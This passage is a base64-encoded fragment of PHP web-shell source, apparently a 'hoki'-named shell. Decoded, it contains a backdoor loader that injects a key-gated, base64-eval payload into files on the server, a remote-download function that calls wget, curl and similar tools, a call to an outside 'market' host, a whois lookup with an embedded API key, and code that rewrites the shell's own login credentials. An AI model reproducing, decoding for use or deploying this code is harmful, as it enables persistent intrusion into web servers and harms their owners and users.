9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQyJyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm
5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKJ3RkMycgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkT
mFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQ0JyA9PgphcnJheSgnY29sb3InID0+
ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCid0ZDUnID0+CmFycmF5KCd
jb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdCYWNrZG9vciBMb2FkZXI6ICcsICdpbnB1dE5hbWUnID0+ICdmaWxlJywgJ2lucHV0VmFsdWUnID0+ICRjd2QsICdpbnB1dFNpemUnID0+ICc1MCcsICdwbGFjZWhvbGRlcicgPT4gdHJ1ZS
ksCid0ZDYnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2hva2knLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFib
GUoJHRhYmxlKTsKZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOwplY2hvKCR0ZXh0YXJlYSk7CmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydob2tpMidd
IT0nJyYmJF9QT1NUWydob2tpMyddIT0nJyYmJF9QT1NUWydob2tpNSddIT0nJyYmJF9QT1NUWydob2tpNiddIT0nJyl7CiRkYmhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ2hva2kzJ107CiRkYnB3ID0gJF9QT1NUWyd
ob2tpNCddOwokZGJuYW1lID0gJF9QT1NUWydob2tpNSddOwokZmlsZSA9ICRfUE9TVFsnaG9raTYnXTsKJG1ldGhvZCA9ICRfUE9TVFsnaG9raTcnXTsKJHNoZWxsID0gJF9QT1NUWydob2tpOCddOwoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJy
InLCdcJycpLCcnLHRyaW0oJF9QT1NUWydob2tpOSddKSk7CmlmKCRrZXk9PScnKSRrZXk9J2hva2knOwppZigkbWV0aG9kPT0nbXknKXskc2hlbGw9X19aVzVqYjJSbGNnKCRzaGVsbCk7fWVsc2V7JHNoZWxsPSRHTE9CQUxTWydfX0hPS0lfU0hFT
ExfQ09ERSddO30KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpewokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiaG9raSJdKSYmJF9HRVRbImhva2kiXT09IicuJGtleS4nIil7JGNv
bm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCc
iJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBob2tpX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdG
lvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOwppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpe
wpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBob2tpX2JjYCcpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGhva2lfYmNgIChjb2RlIExPTkdURVhUKScpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdJTlNFUlQgSU5U
TyBgaG9raV9iY2AgVkFMVUVTKCInLiRzaGVsbC4nIiknKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7Cl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmF
tZSgkZmlsZSkuIj9ob2tpPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raXdob2lzKCl7CmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlci
c+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc
3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZh
bHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOwppZigkX1BPU1RbJ2hva2kyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJywnd3d3LicsJ2Z
0cDovLycpLCcnLCRfUE9TVFsnaG9raTEnXSk7CiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsKJGRhdGEgPSBAZmlsZV
9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRkYXRhPT0nJyl7JGdldCA9IG5ldyBIb2tpQ1VSTCgpOyRnZXQtPnNzbCA9IHRydWU7JGRhdGEgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpO30KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlK
TsKZWNobyBfX3ByZSgpOwppZihpc19hcnJheSgkdGFyZ2V0KSl7ZWNobygkdGFyZ2V0WyJ3aG9pc19yYXciXSk7fWVsc2V7ZWNobyBob2tpRXgoIndob2lzICIuJHNpdGUpO319CmVjaG8oIjwvZGl2PiIpOwp9CmZ1bmN0aW9uIGhva2lyZW1vdGVk
bCgpewpob2tpaGVhZCgpOwplY2hvKCI8ZGl2IGNsYXNzPSdoZWFkZXInPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgVXBsb2FkIEZyb20gVXJsIHw8L2Rpdj48L3A+PHA+Cjxmb3JtIG9uc3VibWl0PVwiZygncmVtb3R
lZGwnLG51bGwsdGhpcy5kLnZhbHVlLHRoaXMucC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCI+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVybDogPC9kaXY+Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIH
NpemU9JzUwJz48L3A+CjxkaXYgY2xhc3M9J3R4dGZvbnQnPlBhdGg6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwJyBzaXplPSc1MCcgdmFsdWU9JyIuJEdMT0JBTFNbJ2N3ZCddLiInPjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhb
HVlPScgJz48L3A+CjwvZm9ybT48L3A+PC9jZW50ZXI+Iik7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTEnXSwkX1BPU1RbJ2hva2kyJ10sJF9QT1NUWydob2tpMyddKSYmIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkmJiRfUE9TVFsnaG9raTMnXT09Jz4+
Jyl7CmVjaG8gX19wcmUoKTsKJHVybCA9ICRfUE9TVFsnaG9raTEnXTsKJHBhdGggPSAkX1BPU1RbJ2hva2kyJ107CmVjaG8oJzxjZW50ZXI+Jyk7CmlmKF9fZG93bmxvYWQoJHVybCwkcGF0aCkpewplY2hvKCc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN
1Y2Nlc3MuLi4hPC9mb250PicpOwp9ZWxzZXsKZWNobygnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IuLi4hPC9mb250PicpOwp9CmVjaG8oJzwvY2VudGVyPicpOwp9CmVjaG8oIjwvZGl2PiIpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19kb3
dubG9hZCgkdXJsLCRwYXRoPWZhbHNlKXsKaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHVybCkpIHJldHVybiBmYWxzZTsKJHNhdmVhcyA9IGJhc2VuYW1lKHJhd3VybGRlY29kZSgkdXJsKSk7CmlmKCRwYXRoKXskc2F2ZWFzPSRwY
XRoLiRzYXZlYXM7fQppZigkY29udGVudCA9IF9fcmVhZF9maWxlKCR1cmwpKXsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpQHVubGluaygkc2F2ZWFzKTsKaWYoX193cml0ZV9maWxlKCRzYXZlYXMsICRjb250ZW50KSl7cmV0dXJuIHRydWU7fX0KJGJ1
ZmYgPSBob2tpRXgoIndnZXQgIi4kdXJsLiIgLU8gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgiY3VybCAiLiR1cmwuIiAtbyAiLiRzYXZlYXMpOwppZihAaXNfZmlsZSgkc2F2ZWF
zKSkgcmV0dXJuIHRydWU7CiRidWZmID0gaG9raUV4KCJsd3AtZG93bmxvYWQgIi4kdXJsLiIgIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgibHlueCAtc291cmNlICIuJHVybC4iID
4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFeCgiR0VUICIuJHVybC4iID4gIi4kc2F2ZWFzKTsKaWYoQGlzX2ZpbGUoJHNhdmVhcykpIHJldHVybiB0cnVlOwokYnVmZiA9IGhva2lFe
CgibGlua3MgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJHNhdmVhcyk7CmlmKEBpc19maWxlKCRzYXZlYXMpKSByZXR1cm4gdHJ1ZTsKJGJ1ZmYgPSBob2tpRXgoImZldGNoIC1vICIuJHNhdmVhcy4iIC1wICIuJHVybCk7CmlmKEBpc19maWxlKCRzYXZl
YXMpKSByZXR1cm4gdHJ1ZTsKcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGNsZWFuX3N0cmluZygkc3RyaW5nKXsKICBpZihmdW5jdGlvbl9leGlzdHMoImljb252IikpewoJICAkcyA9IHRyaW0oJHN0cmluZyk7CgkgICRzID0gaWNvbnYoIlVURi0
4IiwgIlVURi04Ly9JR05PUkUiLCAkcyk7CiAgfQogIHJldHVybiAkczsKfQpmdW5jdGlvbiBfX3JlYWRfZmlsZSgkZmlsZSwgJGJvb20gPSB0cnVlKXsKJGNvbnRlbnQgPSBmYWxzZTsKaWYoJGZoID0gQGZvcGVuKCRmaWxlLCAicmIiKSl7CiRjb2
50ZW50ID0gIiI7CndoaWxlKCFmZW9mKCRmaCkpewokY29udGVudCAuPSAkYm9vbSA/IGNsZWFuX3N0cmluZyhmcmVhZCgkZmgsIDgxOTIpKSA6IGZyZWFkKCRmaCwgODE5Mik7Cn0KQGZjbG9zZSgkZmgpOwp9CmlmKGVtcHR5KCRjb250ZW50KXx8I
SRjb250ZW50KXsKCSRjb250ZW50ID0gaG9raUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKTsKfQpyZXR1cm4gJGNvbnRlbnQ7Cn0KZnVuY3Rpb24gaG9raU1hcmtldCgpewplY2hvICI8ZGl2IGNsYXNzPSdoZWFkZXInPiI7CiRjdXJs
ID0gbmV3IEhva2lDVVJMKCk7CiRjb250ZW50ID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9zb2xldmlzaWJsZS5jb20vbWFya2V0LnBocCIpOwokZGF0YSA9IEBqc29uX2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CmlmKCFlbXB0eSgkZGF0YSkpewppZig
kZGF0YVsic3RhdHVzIl0gPT0gIm9wZW4iKXsKCWVjaG8gJGRhdGFbImNvbnRlbnQiXTsKfWVsc2V7CgllY2hvICRkYXRhWyJlcnJvcl9tc2ciXTsKfQp9ZWxzZXsKCWVjaG8gIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZT
oyMHB4Oyc+Q2FudCBjb25uZWN0IHRvIHRoZSBob2tpIG1hcmtldC4uLi4hIHRyeSBsYXRlci48L2Rpdj4iOwp9CmVjaG8gIjwvZGl2PiI7Cn0KZnVuY3Rpb24gaG9raVNldHRpbmdzKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oNiw3LDgsOSwxMCk7C
mVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NldHRpbmdzXCcs
bnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLFwnbWFpblwnKSI+fCBHZW5lcmFsbCBTZXR0aW5nIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoJF9QT1NUWyJob2tpOCJdID09ICJtYWluIil7CmVjaG8gJzxwPjxjZW50ZXI
+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU2V0dGluZ3MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0icmVsb2FkU2V0dGluZyh0aGlzKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+JzsKJGxnX2FycmF5ID0gYXJyYXkoJz
AnPT4nTm8nLCcxJz0+J1llcycpOwokcGVuY19hcnJheSA9IGFycmF5KCdmYWxzZSc9PidObycsJ3RydWUnPT4nWWVzJyk7CiRwcm90ZWN0X2h0bWwgPSAiIjsKJGljb25faHRtbCA9ICIiOwokcG9zdEVuY19odG1sID0gIiI7CiRsb2dpbl9odG1sI
D0gIiI7CiRjZ2lhcGlfaHRtbCA9ICIiOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRwcm90ZWN0X2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddPT0nMSc/
J3NlbGVjdGVkJzonJykuJz4nLiR2YWwuJzwvb3B0aW9uPic7CmZvcmVhY2goJGxnX2FycmF5IGFzICRrZXk9PiR2YWwpJGljb25faHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWN
vbnMnXT09JzEnPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJGNnaWFwaV9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oIWVtcHR5KCRfUE9TVF
snaG9raTknXSkmJiRfUE9TVFsnaG9raTknXT09JGtleT8ic2VsZWN0ZWQiOigkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpIl0mJmVtcHR5KCRfUE9TVFsnaG9raTknXSk/J3NlbGVjdGVkJzonJykpLic+Jy4kdmFsLic8L29wdGlvbj4nOwpmb
3JlYWNoKCRwZW5jX2FycmF5IGFzICRrZXk9PiR2YWwpJHBvc3RFbmNfaHRtbCAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciICcuKCFlbXB0eSgkX1BPU1RbJ2hva2k3J10pJiYkX1BPU1RbJ2hva2k3J109PSRrZXk/InNlbGVjdGVkIjooX19I
T0tJX1BPU1RfRU5DUllQVElPTl9fJiZlbXB0eSgkX1BPU1RbJ2hva2k3J10pPydzZWxlY3RlZCc6JycpKS4nPicuJHZhbC4nPC9vcHRpb24+JzsKJGxnX2FycmF5ID0gYXJyYXkoImd1aSI9PiJHVUkiLCI1MDAiPT4iNTAwIEludGVybmFsIFNlcnZ
lciBFcnJvciIsIjQwMyI9PiI0MDMgRm9yYmlkZGVuIiwiNDA0Ij0+IjQwNCBOb3RGb3VuZCIpOwpmb3JlYWNoKCRsZ19hcnJheSBhcyAka2V5PT4kdmFsKSRsb2dpbl9odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJEdMT0JBTF
NbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddPT0ka2V5PydzZWxlY3RlZCc6JycpLic+Jy4kdmFsLic8L29wdGlvbj4nOwplY2hvICcnOwplY2hvICc8dGFibGUgYm9yZGVyPSIxIj48dGJvZHk+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0e
WxlPSJjb2xvcjojRkZGRkZGIj5Qcm90ZWN0OjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0icHJvdGVjdCIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRwcm90ZWN0X2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9
InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPkNnaSBBcGk6PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJjZ2lfYXBpIiBzdHlsZT0id2lkdGg6MTAwJTsiPicuJGNnaWFwaV9odG1sLic8L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4
8ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5Qb3N0IEVuY3J5cHRpb246PC9kaXY+PC90ZD48dGQ+PHNlbGVjdCBuYW1lPSJwb3N0X2VuY3J5cHQiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Jy4kcG9zdEVuY19odG1sLic8L3
NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5TaG93IEljb25zOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT0iaWNvbiIgc3R5bGU9IndpZHRoOjEwMCU7Ij4nLiRpY29uX
2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5sb2dpbiBQYWdlOjwvZGl2PjwvdGQ+PHRkPjxzZWxlY3Qgc3R5bGU9IndpZHRoOjEwMCU7IiBuYW1lPSJs
Z3BhZ2UiPicuJGxvZ2luX2h0bWwuJzwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPjxkaXYgY2xhc3M9InRibHR4dCIgc3R5bGU9ImNvbG9yOiNGRkZGRkYiPlVzZXJOYW1lOjwvZGl2PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0
id2lkdGg6OTUlOyIgbmFtZT0idXNlcm5hbWUiIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ2hva2kzJ10pPyRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXTokX1BPU1RbJ2hva2kzJ10pLiciIHBsYWNlaG9sZGVyPSJraXNlcnlvdW5pIj48L3RkPj
wvdHI+PHRyPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJjb2xvcjojRkZGRkZGIj5QYXNzd29yZDo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOjk1JTsiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvb
GRlcj0iKioqKioiPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZSIgdmFsdWU9IicuJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXS4nIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJz
IiB2YWx1ZT0iJy4kR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10uJyI+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9wPjwvZm9ybT48L2NlbnRlcj4nOwppZigkX1BPU1RbJ2hva2k1J109PSc+Pic
pewplY2hvIF9fcHJlKCk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pKXsKJHByb3RlY3QgPSAkX1BPU1RbJ2hva2kxJ107CiRsZ3BhZ2UgPSAkX1BPU1RbJ2hva2kyJ107CiR1c2VybmFtZSA9ICRfUE9TVFsnaG9raTMnXTsKJHBhc3N3b3JkID
0gbWQ1KCRfUE9TVFsnaG9raTQnXSk7CiRpY29uID0gJF9QT1NUWydob2tpNiddOwokcG9zdF9lbmNyeXB0ID0gJF9QT1NUWydob2tpNyddOwokY2dpX2FwaV92YWwgPSAkX1BPU1RbJ2hva2k5J107CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnX
Sk7CiRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CiRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlbmFtZSk7CiR1c2VyX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJ1c2VyX3JhbmQiXTsKJHBhc3Nf
cmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBhc3NfcmFuZCJdOwokbG9naW5fcGFnZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsibG9naW5fcGFnZV9yYW5kIl07CiRzYWZlbW9kZV9yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsic2F
mZW1vZGVfcmFuZCJdOwokc2hvd19pY29uc19yYW5kID0gJEdMT0JBTFNbIkRCX05BTUUiXVsic2hvd19pY29uc19yYW5kIl07CiRwb3N0X2VuY3J5cHRpb25fcmFuZCA9ICRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbl9yYW5kIl
07CiRjZ2lfYXBpX3JhbmQgPSAkR0xPQkFMU1siREJfTkFNRSJdWyJjZ2lfYXBpX3JhbmQiXTsKJGZpbmRfdXNlciA9ICcvXCcnLiR1c2VyX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9wdyA9ICcvXCcnLiRwYXNzX3JhbmQuJ1wnKC4qPyksL2knO
wokZmluZF9sZyA9ICcvXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnKC4qPyksL2knOwokZmluZF9wID0gJy9cJycuJHNhZmVtb2RlX3JhbmQuJ1wnKC4qPyksL2knOwokaWNvbnMgPSAnL1wnJy4kc2hvd19pY29uc19yYW5kLidcJyguKj8pLC9pJzsK
JHBvc3RFbmMgPSAnL1wnJy4kcG9zdF9lbmNyeXB0aW9uX3JhbmQuJ1wnKC4qPyksL2knOwokY2dpX2FwaV9yZWcgPSAnL1wnJy4kY2dpX2FwaV9yYW5kLidcJyguKj8pLC9pJzsKaWYoIWVtcHR5KCR1c2VybmFtZSkmJnByZWdfbWF0Y2goJGZpbmR
fdXNlciwkZGF0YSwkZSkpewokbmV3ID0gJ1wnJy4kdXNlcl9yYW5kLidcJyA9PiBcJycuJHVzZXJuYW1lLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2k0J10pJiZwcm
VnX21hdGNoKCRmaW5kX3B3LCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRwYXNzX3JhbmQuJ1wnID0+IFwnJy4kcGFzc3dvcmQuJ1wnLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYoIWVtcHR5KCRsZ3BhZ2UpJ
iZwcmVnX21hdGNoKCRmaW5kX2xnLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRsb2dpbl9wYWdlX3JhbmQuJ1wnID0+IFwnJy4kbGdwYWdlLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKCFlbXB0eSgk
ZmluZF9wKSYmcHJlZ19tYXRjaCgkZmluZF9wLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRzYWZlbW9kZV9yYW5kLidcJyA9PiBcJycuJHByb3RlY3QuJ1wnLCc7CiRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7Cn0KaWYocHJ
lZ19tYXRjaCgkaWNvbnMsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHNob3dfaWNvbnNfcmFuZC4nXCcgPT4gXCcnLiRpY29uLidcJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJHBvc3
RFbmMsJGRhdGEsJGUpKXsKJG5ldyA9ICdcJycuJHBvc3RfZW5jcnlwdGlvbl9yYW5kLidcJyA9PiAnLiRwb3N0X2VuY3J5cHQuJywnOwokZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpOwp9CmlmKHByZWdfbWF0Y2goJGNnaV9hc
GlfcmVnLCRkYXRhLCRlKSl7CiRuZXcgPSAnXCcnLiRjZ2lfYXBpX3JhbmQuJ1wnID0+ICcuJGNnaV9hcGlfdmFsLicsJzsKJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKfQppZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2Vu
YW1lLCRkYXRhKSl7CmVjaG8gJzxiPlVzZXJOYW1lOiA8L2I+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj4nLiR1c2VybmFtZS4nPC9iPjwvZm9udD48YnIgLz48Yj5QYXNzd29yZDogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kX1BPU1RbJ2h
va2k0J10uJzwvYj48L2ZvbnQ+PHNjcmlwdD5wb3N0X2VuY3J5cHRpb25fbW9kZSA9ICcuJHBvc3RfZW5jcnlwdC4nOzwvc2NyaXB0Pic7Cn1lbHNlewpfX2FsZXJ0KCI8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+RmlsZSBoYXMgbm8gZWRpdCBhY2
Nlc3MuLi4hPC9zcGFuPiIpOwp9Cn1lbHNlewpfX2FsZXJ0KCI8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+VXNlck5hbWUgaXMgRW1wdHkgITwvc3Bhbj4iKTsKfQp9Cn1lbHNlaWYoJF9QT1NUWyJob2tpOCJdID09ICJjb2xvciIpewplY2hvKCc8Y
2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEN1c3RvbSBDb2xvciB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJyZWxvYWRDb2xvcnMoKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+Jyk7CmVjaG8gJzx0YWJs
